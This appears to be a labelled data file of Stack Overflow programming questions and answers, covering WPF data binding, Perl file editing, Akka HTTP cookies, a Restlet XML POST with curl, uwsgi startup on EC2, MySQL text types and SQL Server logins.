4527286	0	How to Implement a ListBox of Checkboxes in WPF? <p>Although somewhat experienced with writing Winforms applications, the... "vagueness" of WPF still eludes me in terms of best practices and design patterns.</p> <p>Despite populating my list at runtime, my listbox appears empty.</p> <p>I have followed the simple instructions from <a href="http://merill.net/2009/10/wpf-checked-listbox/">this helpful article</a> to no avail. I suspect that I'm missing some sort of <code>DataBind()</code> method where I tell the listbox that I'm done modifying the underlying list.</p> <p>In my MainWindow.xaml, I have:</p> <pre><code> &lt;ListBox ItemsSource="{Binding TopicList}" Height="177" HorizontalAlignment="Left" Margin="15,173,0,0" Name="listTopics" VerticalAlignment="Top" Width="236" Background="#0B000000"&gt; &lt;ListBox.ItemTemplate&gt; &lt;HierarchicalDataTemplate&gt; &lt;CheckBox Content="{Binding Name}" IsChecked="{Binding IsChecked}"/&gt; &lt;/HierarchicalDataTemplate&gt; &lt;/ListBox.ItemTemplate&gt; &lt;/ListBox&gt; </code></pre> <p>In my code-behind, I have:</p> <pre><code> private void InitializeTopicList( MyDataContext context ) { List&lt;Topic&gt; topicList = ( from topic in context.Topics select topic ).ToList(); foreach ( Topic topic in topicList ) { CheckedListItem item = new CheckedListItem(); item.Name = topic.DisplayName; item.ID = topic.ID; TopicList.Add( item ); } } </code></pre> <p>Which, by tracing through, I know is being populated with four items.</p> <p><b>EDIT</b></p> <p>I have changed <code>TopicList</code> to an <code>ObservableCollection</code>. It still doesn't work.</p> <pre><code> public ObservableCollection&lt;CheckedListItem&gt; TopicList; </code></pre> <p><b>EDIT #2</b></p> <p>I have made two changes that help:</p> <p>In the .xaml file:</p> <pre><code>ListBox ItemsSource="{Binding}" </code></pre> <p>In the source code after I populate the list:</p> <pre><code>listTopics.DataContext = TopicList; </code></pre> <p>I'm getting a list, but it's not automagically updating the checkbox states when I refresh those. I suspect a little further reading on my part will resolve this.</p>
22484620	0	Autos window doesn't show return value when expected <p>Given the following lines of code:</p> <pre><code>using System; struct MyIntPtr { private unsafe void* m_value; } class Program { static IntPtr GetIntPtr() { return new IntPtr(); } static MyIntPtr GetMyIntPtr() { return new MyIntPtr(); } static void Main() { var ptr1 = GetIntPtr(); var ptr2 = GetMyIntPtr(); } } </code></pre> <p>I expected both method calls in Program.Main to show return values in the Autos window. For some reason that I can't quite understand, only the first line behaves that way:</p> <p>(+ Program.GetIntPtr returned 0 System.IntPtr).</p> <p>My understanding, according to <a href="http://blogs.msdn.com/b/visualstudioalm/archive/2013/06/27/seeing-function-return-values-in-the-debugger-in-visual-studio-2013.aspx" rel="nofollow">http://blogs.msdn.com/b/visualstudioalm/archive/2013/06/27/seeing-function-return-values-in-the-debugger-in-visual-studio-2013.aspx</a>, is that function return values that return value types the size of pointers should indeed show the return values when called in the Autos window. What am I doing wrong?</p>
17697166	0	By default which techniques is used by JAVA to handle hashcode collision <p>By default which techniques is used by JAVA to handle hashcode collision ? Is it separate chaining or does it depend on the JVM implementation for different platform?</p>
11369249	0	 <p>You cannot directly tell it to call the <code>super</code> method. <code>target</code> is only a pointer to an object, <code>super</code> does not have a separate pointer address from your <code>self</code> instance. </p> <p>Also by assigning the <code>target</code> to <code>self.superclass</code> you are telling the <code>target</code> to be the class. Therefore your trying call a class method rather than an instance method which is not what you want to do. </p> <p>The only way to do this would be to assign target to <code>self</code> and have a separate method such as:</p> <pre><code>- (void)callSuperMethod { [super playNarrationForPage:[NSNumber numberWithInt:1]]; } </code></pre>
37905075	0	 <p>What is it that requires the environment variable be set? </p> <p>I would try to use a different approach if possible. If you are expecting to act on the environment variable in ansible, you could instead set the value in an inventory group_vars file which would only be in effect for local provisioning vagrant. Other environments could use different values for the same variable by updating the appropriate inventory group_vars file.</p>
16467227	0	 <p>I think this is what you want to do... </p> <pre><code>use warnings; use strict; use File::Copy; my $target_file = "testfile"; my $tmp_file = "$target_file.new"; my $str = "some string with stuff"; open my $fh, "&lt;", "testfile"; open my $w_fh, "&gt;&gt;", "testfile.new"; # loop over your current file, one line at a time while( my $line = &lt;$fh&gt; ){ # remove the '\n' so we can add to the existing line chomp $line; # add what you'd like, plus the '\n' my $full_line = "$line $str\n"; # and print this to a tmp file print $w_fh $full_line; } close $fh; close $w_fh; unlink $target_file or die "unable to delete $target_file: $!"; # use the File::Copy sub 'move' # to rename the tmp file to the original name move($tmp_file, $target_file); </code></pre> <p>Running the code:</p> <pre><code>$ cat testfile this is three this is three this is three $ test.pl $ cat testfile this is three some string with stuff this is three some string with stuff this is three some string with stuff </code></pre>
18576168	0	 <p>you need to initialize <code>pNext</code> properly by setting it to <code>nullptr</code> explicitly in <code>node</code>'s constructor. <code>0xCDCDCDCD</code> is always in indicator for accessing uninitialized memory.</p>
24080158	1	running a background process in pythonanythere <p>I just want to know that if the following is possible:</p> <p>I want to run a local socket program in background in the pythonanywhere and want to access the socket from django app registered in same pythonanywhere domain. </p> <p>Actually I want to run a machine learning algorithm as a socket program which i want to access by the web client. I want to run a single process for any number of client because I dont think its wise to train the algorithm every time a new client gets connected. Can I do that.</p> <p>for being more clear:</p> <p>I want the trained machine learning program to be launched only once in the server and the web portal should receive the inputs parameters from clients and send back the prediction after interacting with the program . All the client has to be served by this single instance of machine learning program so that the main program has to be trained only once.</p> <p>Please suggest any other way to perform this if any.. Thanks in advance..</p>
2753572	0	 <p>If I don't need a copy of the original value, I don't declare a new variable. </p> <p>IMO I don't think mutating the parameter values is a bad practice in general,<br> it depends on how you're going to use it in your code.</p>
39340612	0	Android: Can't set an image once a button is clicked (NullpointerException/IllegalStateException) <p>I'm getting an IllegalStateException and a NullPointerException once the imageview is clicked (App crashes). It is supposed to pass the imageview's image to another imageview. I am also using a fragment for my tabbed activity.</p> <p>onCreate() and variables</p> <pre><code>private SectionsPagerAdapter mSectionsPagerAdapter; private ViewPager mViewPager; PhotoViewAttacher xAttach; ImageView tessst; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); requestWindowFeature(Window.FEATURE_NO_TITLE); getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,WindowManager.LayoutParams.FLAG_FULLSCREEN); setContentView(R.layout.activity_whole_details); tessst = (ImageView) findViewById(R.id.fillZoom); what = (ImageView) findViewById(R.id.img1); Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(toolbar); mSectionsPagerAdapter = new SectionsPagerAdapter(getSupportFragmentManager()); mViewPager = (ViewPager) findViewById(R.id.container); mViewPager.setAdapter(mSectionsPagerAdapter); TabLayout tabLayout = (TabLayout) findViewById(R.id.tabs); tabLayout.setupWithViewPager(mViewPager); } </code></pre> <p>the Imageview click class</p> <pre><code> public void clickZoom(View v){ if(v.getId() == R.id.img1){ Drawable bb = getResources().getDrawable(R.drawable.maincolor_btn); tessst.setImageDrawable(bb); xAttach = new PhotoViewAttacher(tessst); } } </code></pre> <p>the logcat</p> <pre><code>09-06 13:12:45.436 31388-31388/com.example.testapp.coloranalysis E/AndroidRuntime: FATAL EXCEPTION: main Process: com.example.testapp.coloranalysis, PID: 31388 java.lang.IllegalStateException: Could not execute method for android:onClick at android.support.v7.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:293) at android.view.View.performClick(View.java:4463) at android.view.View$PerformClick.run(View.java:18770) at android.os.Handler.handleCallback(Handler.java:808) at android.os.Handler.dispatchMessage(Handler.java:103) at android.os.Looper.loop(Looper.java:193) at android.app.ActivityThread.main(ActivityThread.java:5323) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:824) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:640) at dalvik.system.NativeStart.main(Native Method) Caused by: java.lang.reflect.InvocationTargetException at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at android.support.v7.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:288) at android.view.View.performClick(View.java:4463) at android.view.View$PerformClick.run(View.java:18770) at android.os.Handler.handleCallback(Handler.java:808) at android.os.Handler.dispatchMessage(Handler.java:103) at android.os.Looper.loop(Looper.java:193) at android.app.ActivityThread.main(ActivityThread.java:5323) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:824) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:640) at dalvik.system.NativeStart.main(Native Method) Caused by: java.lang.NullPointerException at com.example.testapp.coloranalysis.WholeDetails.clickZoom(WholeDetails.java:59) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at android.support.v7.app.AppCompatViewInflater$DeclaredOnClickListener.onClick(AppCompatViewInflater.java:288) at android.view.View.performClick(View.java:4463) at android.view.View$PerformClick.run(View.java:18770) at android.os.Handler.handleCallback(Handler.java:808) at android.os.Handler.dispatchMessage(Handler.java:103) at android.os.Looper.loop(Looper.java:193) at android.app.ActivityThread.main(ActivityThread.java:5323) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:824) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:640) at dalvik.system.NativeStart.main(Native Method) </code></pre>
38792846	0	Akka Http Client Set Cookie on a HttpRequest <p>I am trying to make a GET request to a REST web service using Akka Http Client.</p> <p>I am not able to figure out how do I set a cookie on the request before I make the GET.</p> <p>I searched the web and I found ways to read the cookie on the server side. but I could not find anything which showed me how to set the cookie on the client side request.</p> <p>Based on my own research I tried the following approach to set a cookie on http request</p> <pre><code>import akka.actor.ActorSystem import akka.http.scaladsl.Http import akka.http.scaladsl.model._ import akka.http.scaladsl.unmarshalling.Unmarshal import akka.stream.scaladsl.{Sink, Source} import akka.http.scaladsl.marshallers.sprayjson.SprayJsonSupport import akka.http.scaladsl.model.headers.HttpCookie import akka.stream.ActorMaterializer import spray.json._ import scala.util.{Failure, Success} case class Post(postId: Int, id: Int, name: String, email: String, body: String) trait JsonSupport extends SprayJsonSupport with DefaultJsonProtocol { implicit val postFormat = jsonFormat5(Post.apply) } object AkkaHttpClient extends JsonSupport{ def main(args: Array[String]) : Unit = { val cookie = headers.`Set-Cookie`(HttpCookie(name="foo", value="bar")) implicit val system = ActorSystem("my-Actor") implicit val actorMaterializer = ActorMaterializer() implicit val executionContext = system.dispatcher val mycookie = HttpCookie(name="foo", value="bar") val httpClient = Http().outgoingConnection(host = "jsonplaceholder.typicode.com") val request = HttpRequest(uri = Uri("/comments"), headers = List(cookie)) val flow = Source.single(request) .via(httpClient) .mapAsync(1)(r =&gt; Unmarshal(r.entity).to[List[Post]]) .runWith(Sink.head) flow.andThen { case Success(list) =&gt; println(s"request succeded ${list.size}") case Failure(_) =&gt; println("request failed") }.andThen { case _ =&gt; system.terminate() } } } </code></pre> <p>But this gives an error</p> <pre><code>[WARN] [08/05/2016 10:50:11.134] [my-Actor-akka.actor.default-dispatcher-3] [akka.actor.ActorSystemImpl(my-Actor)] HTTP header 'Set-Cookie: foo=bar' is not allowed in requests </code></pre>
19108670	0	fetching data from indexed database in HTML 5 and binding to gridview <p>I am fetching data from the indexed database in HTML 5, I am able to successfully get the values but I want it to bind it to some data-grid view of ASP.NET<br> The code which I am using to get the values from the indexed database is </p> <pre><code>if(currentDatabase) { var objectStore = currentDatabase.transaction([objStore]).objectStore(objStore); var traveller = []; objectStore.openCursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var v = cursor.value; traveller.push("id ="+v.id); traveller.push("Name ="+v.traveler); traveller.push("Destination ="+v.destination); traveller.push("Transportation ="+v.transportation); cursor.continue(); } </code></pre> <p>this allows me to store the data in the array, how can I bind it to datagrid view, </p>
13077338	0	 <p>probably better off using one of the TEXT datatypes. </p> <pre><code>TINYTEXT 256 bytes TEXT 65,535 bytes ~64kb MEDIUMTEXT 16,777,215 bytes ~16MB LONGTEXT 4,294,967,295 bytes ~4GB </code></pre> <p>It also depends on your version of MySQL. </p> <p>see: <a href="http://stackoverflow.com/questions/1303476/is-a-varchar20000-valid-in-mysql">Is a VARCHAR(20000) valid in MySQL?</a></p>
3259625	0	Struct initialisation through macro overuse <p>I've got some structs to initialise, which would be tedious to do manually. I'd like to create a macro that will help me with it... but I'm not sure the <strong>C</strong> preprocessor is good enough for this.</p> <p>I've got structs which represent menus. They consist of function pointers only:</p> <pre><code>typedef uint8_t (*button_handler) (uint8_t); typedef void (*pedal_handler) (void); typedef void (*display_handler) (void); typedef void (*menu_switch_handler) (void); #define ON_BUTTON(x) uint8_t menu_frame_##x##_button (uint8_t button) #define ON_PEDAL(x) void menu_frame_##x##_pedal (void) #define ON_DISPLAY(x) void menu_frame_##x##_display (void) #define ON_SWITCH(x) void menu_frame_##x##_switch (void) typedef struct menu_frame { button_handler on_button; pedal_handler on_pedal; display_handler on_display; menu_switch_handler on_switch; } menu_frame; </code></pre> <p>That allows me to write the functions and separate functions as (.c file):</p> <pre><code>ON_BUTTON(blah) { ... } </code></pre> <p>and menus as (.h file):</p> <pre><code>ON_BUTTON(blah); ON_DISPLAY(blah); menu_frame menu_frame_blah = { menu_frame_blah_button, NULL, menu_frame_blah_display, NULL }; </code></pre> <p>Is there any way I can fold the menu definition into one define? I could do something that expands <code>MENU(blah, menu_frame_blah_button, NULL, menu_frame_blah_display, NULL)</code> of course, but is there any way to:</p> <ul> <li>make it shorter (NULL or some name)</li> <li>remove the need of <code>ON_BUTTON(...);</code> from before the struct</li> </ul> <p>Ideally, I'd like <code>MENU(blah, button, NULL, display, NULL)</code> to both define the handlers and the menu struct itself. I don't know for example how to prevent expanding the last term into <code>ON_SWITCH(NULL)</code>.</p> <p>Or maybe I should approach it from some other way?</p>
21218932	0	 <p>"Auto-increment" is always a problem when working with a distributed system, as it creates a bottle-neck: Each new increment needs to read the previous data .. like some other parallel requests.</p> <p>Generally speaking, "auto-increment" restricts parallelism, specially on distributed systems.</p>
14306822	0	How to get uwsgi container to restart with AWS EC2 reboot <p>I have nginx and uwsgi installed on my CentOS EC2 instance.</p> <p>Nginx restarts successfully when I do a reboot of the machine from the AWS control panel.</p> <p>Uwsgi does not. </p> <p>I have to log in and restart it with 'sudo /etc/init.d/uwsgi start' and then everything is fine. And then of course I can log out as it is running as a service.</p> <p>Having to log-in in order to finish the reboot process is clearly suboptimal.</p> <p>But I think I have the config done properly.</p> <p>When I do chkconfig I see:</p> <pre><code>uwsgi 0:off 1:off 2:on 3:on 4:on 5:on 6:off </code></pre> <p>If I look in the file in /etc/init.d/uwsgi the top of the file reads:</p> <pre><code>#!/bin/bash # uwsgi - Use uwsgi to run python and wsgi web apps. # # chkconfig: 2345 85 15 # description: Use uwsgi to run python and wsgi web apps. # processname: uwsgi </code></pre> <p>Thank you for your help.</p>
12935550	0	Quotes & escaping in Javascript <p>is there a smart way in js to insert mixedsingle and double quotes, like python </p> <blockquote> <p>"""string"""</p> </blockquote> <p>syntax? Or similar stuff, which I believe is present in Perl or PHP.</p>
20118681	0	 <p>In my keyboard (Swedish) it´s the key to the right of "ä": "*".</p> <p><kbd>ctrl</kbd>+<kbd>*</kbd></p>
19018984	0	 <p>Just create one view for that and use <code>&lt;include ... /&gt;</code> to include that view to your Activity's layout. In each Activity you have to modify it independently.</p>
36084927	0	Select range cells with blank rows <p>I've been having difficulties with figuring out how to code this select range macro to include blank rows. The worksheet is a chart with variable number of columns and rows. This is what I have so far:</p> <pre><code>Sub Macro1() Range("A5").Select Range(Selection, Selection.End(xlToRight)).Select Range(Selection, Selection.End(xlDown)).Select Selection.Copy End Sub </code></pre> <p>The selection step in the macro will only go so far as that blank row and won't go any further (obviously because it's blank hehe). For that reason, I tried adapting this discontiguous type of code but with no luck:</p> <pre><code>Sub SelectRangeDown_Discontiguous() Range("A5", Range("A65536").End(xlUp)).Select End Sub </code></pre> <p>I was hoping someone could help me figure out the best way of writing this code? Am I on the right path?</p>
23180307	0	How I can access to a returned data of a function with use the reflect package? <p>I have a function of the IndexController type:</p> <pre><code>func (this IndexController) ActionIndex() map[string]string { return map[string]string{"Name": "Hello from the actionIndex()!"} } </code></pre> <p>It is used so:</p> <pre><code>routerInstance := router.Constructor(request) controllerObject := controllers[routerInstance.GetRequestController(true)] outputData := reflect.ValueOf(controllerObject).MethodByName(routerInstance.GetRequestAction(true)).Call([]reflect.Value{}) fmt.Println(outputData) </code></pre> <p>Now for example, how to show the <strong>Name</strong> element of <strong>outputData</strong>? I try to print so:</p> <pre><code>fmt.Println(outputData["Name"]) </code></pre> <p>But program will exit with error:</p> <pre><code># command-line-arguments ./server.go:28: non-integer array index "Name" </code></pre> <p>I will be thankful!</p>
17475504	0	 <p>Unfortunately, teh CategoryAxis doesn't seem to have a renderer and therefore canDropLabels and canStagger cannot be set for it.</p>
37744699	0	 <p>Try this:</p> <pre><code>from ts in Db.Tasks join prt in Db.ProjectTasks on ts.Id equals prt.TaskId from tl in Db.Timeline.Where(x =&gt; (x.TypeId == ts.Id) &amp;&amp; (x.Type == (int)Provider.EntityType.TASK)) .DefaultIfEmpty() from dur in Db.Duration.Where(x =&gt; (x.TypeId == ts.Id) &amp;&amp; (x.Type == (int)Provider.EntityType.TASK)) .DefaultIfEmpty() where (prt.ProjectId == ProjectId) select new { Id = "T" + ts.Id, ts.Name, ts.Description, //... prt.ProjectId, tl.StartDate, tl.EndDate, tl.LatestEndDate, //... dur.ActualDuration, dur.ActualDurationPlanned } </code></pre> <p><code>from x in y.DefaultIfEmpty()</code> is a simple way to create a <code>LEFT JOIN</code>.</p> <p><strong>EDIT:</strong> Changed <code>.Where()</code> in left joins.</p>
7018489	0	How can I send a REST XML POST request via curl? <p>Basically, I have a project set up in Restlet which uses JAXRS for mapping resources to paths and uses JAXB for serializing and deserializing XML to/from Java types. I'm currently trying to send a POST request in order to test whether it works, and I'm running into a bit of trouble. Here's my resource:</p> <pre><code>@Path("stream") public class StreamResource { @POST @Consumes("text/xml") @Produces("text/xml") public Stream save(Stream value) { logger.debug("saving new stream..."); return (Stream)this.streamPersistence.save(value); } } </code></pre> <p>Here's my <code>Stream</code> class:</p> <pre><code>@XmlRootElement(name="stream") @XmlType(propOrder={"id", "streamName", "title", "description", fileSystemPath"}) public class Stream { private Long id; private String streamName; private String fileSystemPath; private String title; private String description; // getters/setters omitted for brevity } </code></pre> <p>And here's how I'm invoking <code>curl</code>:</p> <pre><code>curl -X POST -d '&lt;stream&gt;&lt;streamName&gt;helloWorld.flv&lt;/streamName&gt;&lt;title&gt;Amazing Stuff, Dude!&lt;/title&gt;&lt;description&gt;This stream is awesome-cool.&lt;/description&gt;&lt;fileSystemPath&gt;/home/rfkrocktk/Desktop/helloWorld.flv&lt;/fileSystemPath&gt;&lt;/stream&gt;' --header 'Content-Type:"text/xml"' http://localhost:8888/stream </code></pre> <p>Here's the error I'm getting from <code>curl</code>:</p> <pre><code>The given resource variant is not supported. </code></pre> <p>...and here's the error in Restlet:</p> <pre><code>15:02:25.809 [Restlet-961410881] WARN org.restlet.Component.Server - Error while parsing entity headers java.lang.IllegalArgumentException: Illegal token: "text at org.restlet.data.MediaType.normalizeToken(MediaType.java:647) at org.restlet.data.MediaType.normalizeType(MediaType.java:686) at org.restlet.data.MediaType.&lt;init&gt;(MediaType.java:795) at org.restlet.data.MediaType.&lt;init&gt;(MediaType.java:767) at org.restlet.engine.http.header.ContentTypeReader.createContentType(ContentTypeReader.java:84) at org.restlet.engine.http.header.ContentTypeReader.readValue(ContentTypeReader.java:112) at org.restlet.engine.http.header.ContentType.&lt;init&gt;(ContentType.java:99) at org.restlet.engine.http.header.HeaderUtils.extractEntityHeaders(HeaderUtils.java:664) at org.restlet.engine.http.connector.Connection.createInboundEntity(Connection.java:313) at org.restlet.engine.http.connector.ServerConnection.createRequest(ServerConnection.java:136) at org.restlet.engine.http.connector.ServerConnection.readMessage(ServerConnection.java:229) at org.restlet.engine.http.connector.Connection.readMessages(Connection.java:673) at org.restlet.engine.http.connector.Controller$2.run(Controller.java:95) at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1110) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:603) at java.lang.Thread.run(Thread.java:679) </code></pre> <p>What am I doing wrong here? This seems pretty straightforward, right? </p>
40700224	0	How do I implement this parallel pattern in C#? <p>What I'm ultimately trying to accomplish is to get the HTML from an unknown but limited number of webpages where <code>GetPage(i)</code> returns the HTML for page <code>i</code> and I want to stop as soon as I found a non-page.</p> <p>The exact pattern I'm going for is like this: </p> <ul> <li>Start <code>N</code> parallel tasks that are <code>GetPage(0)</code>, ..., <code>GetPage(N-1)</code>. </li> <li>As soon as a task <code>GetPage(i)</code> completes, if the task was able to get the page, add it to a collection of pages and try to get the next largest page that hasn't tried to be processed yet; or if the task was not able to get the page, cancel all tasks <code>GetPage(j)</code> where <code>j&gt;i</code>.</li> </ul> <p>So my attempted implementation is like </p> <pre><code> var docs = new LinkedList&lt;HtmlDocument&gt;(); int tlimit = 20; var tasks = new Task&lt;HtmlDocument&gt;[tlimit]; for(int i = 0; i &lt; tlimit; ++i) { tasks[i] = Task&lt;HtmlDocument&gt;.Factory.StartNew(() =&gt; BoardScanner.GetBoardPage(i)); } /// ??? </code></pre>
23425527	0	 <p>There might be a more straightforward way but if you've got the <code>EllipticCurve</code> object, you can always just substitute the coordinates of your point into the equation of the curve.</p>
13728369	0	FindMeIn Gem or output file name <p>i was wondering if exist a gem which in development env display render path of file (layout, view, partials..) at the top of each html</p> <p>example:</p> <blockquote> <p>find me in /posts/show.html.erb</p> </blockquote> <p>i'm working co-op with a designer (with 0 rails skills) and it's our first project</p> <p>if not exist a gem like this, how can display the path of each file?</p>
33731920	0	 <blockquote> <p>Do all of the call stacks necessary for an application (if this is even possible to know) get allocated when the application gets launched?</p> </blockquote> <p>No. Typically, each thread's stack is allocated when that thread is created.</p> <blockquote> <p>Or do call stacks get allocated/de-allocated dynamically as applications spin off new threads?</p> </blockquote> <p>Yes.</p> <blockquote> <p>And if that is the case, (I know stacks have a fixed size), do the new stacks just get allocated right below the previous stacks-- So you would end up with a stack of stacks in the top addresses of memory? Or am I just fundamentally misunderstanding how call stacks are being created/used?</p> </blockquote> <p>It varies. But the stack just has to be at the top of a large enough chunk of available address space in the memory map for that particular process. It doesn't have to be at the very top. If you need 1MB for the stack, and you have 1MB, you can just reserve that 1MB and have the stack start at the top of it.</p> <blockquote> <p>How does the sp register work if there are multiple call stacks? Is it only used for the main call stack?</p> </blockquote> <p>A CPU has as many register sets as threads that can run at a time. When the running thread is switched, the leaving thread's stack pointer is saved and the new thread's stack pointer is restored -- just like all other registers.</p> <p>There is no "main thread of the OS". There are some kernel threads that do only kernel tasks, but also user-space threads also run in kernel space to run the OS code. Pure kernel threads have their own stacks somewhere in kernel memory. But just like normal threads, it doesn't have to be at the very top, the stack pointer just has to start at the highest address in the chunk used for that stack.</p>
13959460	0	WebView fading edge is a solid block <p>I am trying to get fading edges working for Android 4.1. I've figured out I need "android:requiresFadingEdge", but now instead of a fade, I get a solid block that appears on the top/bottom when I'm scrolling.</p> <pre><code>&lt;WebView android:layout_width="fill_parent" android:layout_height="fill_parent" android:fadingEdge="vertical" android:fadingEdgeLength="20dp" android:overScrollMode="never" android:requiresFadingEdge="vertical" /&gt; </code></pre> <p>Has anyone seen this before?</p>
29916842	0	 <p>Change this </p> <pre><code>Integer i = (Integer) spinner_snooze.getSelectedItem(); </code></pre> <p>to</p> <pre><code>Integer i = (Integer) parent.getSelectedItem(); </code></pre> <p>Plus add any default value as first item.Check if first item is selected,than do not do anything.</p> <p>insert a default value like " -- " and compare it by using </p> <pre><code>if(parent.getSelectedItem().compareTo(" -- ")== 0 { //Do Nothing } else { //Do your stuff here AlarmManager mAlarmManager = (AlarmManager) getSystemService(Context.ALARM_SERVICE); Integer i = (Integer) spinner_snooze.getSelectedItem(); snoozeAlarm(i, mAlarmManager, context); // Toast.makeText(getApplicationContext(), x, Toast.LENGTH_LONG).show(); finish(); } </code></pre>
3157585	0	 <p>You <strong>can</strong> select it outside, but not <em>yet</em>, that <code>$.get()</code> callback takes some time to run (it has to get the data from the server, the callback happens <em>later</em>, when that finishes), so when you do this:</p> <pre><code>$('#newElement').css('background','black'); </code></pre> <p>That element isn't there <em>yet</em> (and so the selector doesn't find anything...it's running <em>before</em> that callback creating it does), you need to wait until the callback finishes before continuing any code that needs elements created by it. Like this:</p> <pre><code>$.get('menu.xml',function(data){ //create a new element with an ID called "#newElement" //kick off stuff that uses "#newElement" $('#newElement').css('background','black'); }); </code></pre>
5853762	0	 <p>You could do something like this. You can find more help in the CI docs</p> <pre><code>$this-&gt;db-&gt;select('M.*, p.name as page_name', FALSE); $this-&gt;db-&gt;from('omc_menu as M'); $this-&gt;db-&gt;join('omc_page as P', 'M.page_id = P.id', 'left'); $this-&gt;db-&gt;where('M.parentid', '0', FALSE); $this-&gt;db-&gt;order_by('M.parentid,M.order','ASC'); </code></pre>
11737817	1	What is the simplest language which support template&context mechanism? <p>I need to find the easiest way to automatically build ebooks from downloaded articles.</p> <p>I want to automatically generate TOC, which will be based on HTML template.</p> <p>I know that python django has template &amp; context mechanism, however django is a little to complicated for people to which I am preparing this whole mechanism. I don't need all web-related features.</p>
29890438	0	bootstrap CSS @media not working in laravel <p>I am a newbie in Laravel. In my project, I try to load <code>bootstrap</code> correctly to blade template. Everythings is fine except CSS @media, view is only rendered with normal CSS class in bootstrap but not CSS class in media. This is my code: This is <code>index.blade.php</code> view: </p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8" /&gt; &lt;title&gt; Laravel Sample Site &lt;/title&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt; &lt;link rel="stylesheet" type="text/css" href="bootstrap/css/bootstrap.css"&gt; &lt;/head&gt; &lt;body&gt; &lt;div class="row"&gt; &lt;div class="col-md-6" style="background-color:yellow;height:100px;"&gt;&lt;/div&gt; &lt;div class="col-md-6" style="background-color:red;height:100px;"&gt;&lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p><code>media-queries</code> are included in bootstrap css.</p> <p>And this is my public structure:</p> <pre><code>public/ /bootstrap/ /css /js /font /assets /css /js /font /images </code></pre> <p>As expect, View must contain 2 column with same width but when I run View only contain 2 row (exactly means bootstrap css layout not work)</p>
4879275	0	 <p>Always make sure you've loaded the html first before actually calling the selectable function.</p> <pre><code>$(function() { var html = ''; html += '&lt;ul id="selectable"&gt;'; html += '&lt;li&gt;1&lt;/li&gt;'; html += '&lt;li&gt;2&lt;/li&gt;'; html += '&lt;li&gt;3&lt;/li&gt;'; html += '&lt;/ul&gt;'; $('#dialog').html(html).dialog(); $('#selectable').selectable(); }); </code></pre> <p>here's a <a href="http://jsfiddle.net/N4spA/" rel="nofollow">jsfiddle example</a></p>
3872183	0	 <p>Sure. Just try it out:</p> <pre><code>$strTitle = Parser::GetFirstItem()-&gt;Title; </code></pre> <p>Not entirely sure when this was introduced. 5? 5.1? 5.2? Will have to check.</p> <p><strong>Update:</strong> Seems to have been a PHP 5 feature from the start.</p>
28707280	0	 <p>You can use css3 transition and keyframes on adding class with js and then remove class after animation done (removeclass with setTimeout on same duration with css transition).</p>
8523438	0	 <p>It does create a zombie instance.</p> <p>You need to unbind your first instance.</p> <p>Check this post out for more details. <a href="http://lostechies.com/derickbailey/2011/09/15/zombies-run-managing-page-transitions-in-backbone-apps/" rel="nofollow">http://lostechies.com/derickbailey/2011/09/15/zombies-run-managing-page-transitions-in-backbone-apps/</a></p>
7643089	0	 <p>I couldn't get anything to pass all my tests for CSV Parsing, so I ended up writing something simple to do it. <a href="https://gist.github.com/1258207" rel="nofollow">AnotherCsvParser</a></p> <p>It does everything I need... but should be easy to fork and extend to your needs too.</p> <p>Given:</p> <pre><code> public class ABCD { public string A; public string B; public string C; public string D; } </code></pre> <p>It assumes the columns are in the order the fields are defined..(but would be easy to extend to read an attribute or something)</p> <p>This works:</p> <pre><code> var output = NigelThorne.CSVParser.ReadCSVAs&lt;ABCD&gt;( "a,\"b\",c,d\n1,2,3,4\n\"something, with a comma\",\"something \\\"in\\\" quotes\",\" a \\\\ slash \",\n,,\"\n\","); </code></pre> <p>Such that: </p> <pre><code> Assert.AreEqual(4, output.ToArray().Length); var row1 = output.ToArray()[0]; Assert.AreEqual("a", row1.A); Assert.AreEqual("b", row1.B); Assert.AreEqual("c", row1.C); Assert.AreEqual("d", row1.D); </code></pre> <p>Note: It's probably not very fast with lots of data either.. again not a problem for me. </p>
5151363	0	creating multiple users for a c#.net winform application using sql server express <p>i have a single sql database in sql server express.</p> <p>i have a login MAINLOGIN, for this database.</p> <p>i want insertion of data in this database through multiple users, U1,U2,U3, each having different userids &amp; passwords. </p> <p>These users would be created by MAINLOGIN , manually or via the winform application.</p> <p>So while creating MAINLOGIN , i would give him permission to further create logins.</p> <p>For this what should i do?</p> <p>i cannot create MULTIPLE users, because for one database, only one user can be created under one login.</p> <p>so should i create multiple logins, L1,L2,L3, then map, U1, U2, U3 to them.</p> <p>Or, is there a better way to do this? like application roles etc. </p> <p>i dont want to use windows authentication. because if i know the system password, then i could simply connect sql via the application and insert wrong data.</p>
